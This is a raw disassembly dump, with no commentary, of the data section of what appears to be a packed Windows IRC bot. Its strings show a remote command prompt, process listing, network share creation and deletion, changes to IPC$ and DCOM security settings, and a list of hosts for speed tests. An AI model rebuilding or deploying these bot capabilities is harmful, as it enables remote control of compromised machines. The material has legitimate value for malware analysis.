(%d)',0 ; DATA XREF: sub_419C09+191o align 10h unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListFai db ' process list failed',0 align 4 unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessListCom db ' process list complete',0 align 4 unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A570 dd offset dword_43A56C dd offset off_43A568 off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o ; ___:0043A564o dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE00 dd 64B95B30h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o ; ___:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o dword_450050 dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co dword_457444 dd 0A2EFh dup(0) db 0 byte_480001 db 3 dup(0) ; DATA XREF: Themida_:loc_56F77Fo dword_480004 dd 4016h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r 